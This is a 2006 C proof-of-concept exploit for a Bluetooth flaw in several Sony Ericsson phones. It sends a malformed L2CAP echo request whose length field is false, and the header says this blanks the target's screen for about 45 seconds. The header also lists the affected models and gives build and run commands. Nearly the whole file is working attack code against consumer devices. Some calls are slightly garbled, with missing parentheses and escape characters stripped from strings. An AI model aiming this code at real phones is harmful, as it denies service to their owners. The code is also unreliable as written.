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/* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - E-mail */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>
#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)
int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;
if(argc < 2)
{
fprintf(stderr, "%s <btaddr>n", argv[0]);
exit(EXIT_FAILURE);
}
if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket" ;
exit(EXIT_FAILURE);
}
memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;
if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind";
exit(EXIT_FAILURE);
}
str2ba(argv[1], &addr.l2_bdaddr);
if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect";
exit(EXIT_FAILURE);
}
if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc";
exit(EXIT_FAILURE);
}
memset(buffer, 90, SIZE);
cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;
if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)n", sent);
}
printf("Buffer:t";
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("n";
free(buffer);
close(sock);
return EXIT_SUCCESS;
}
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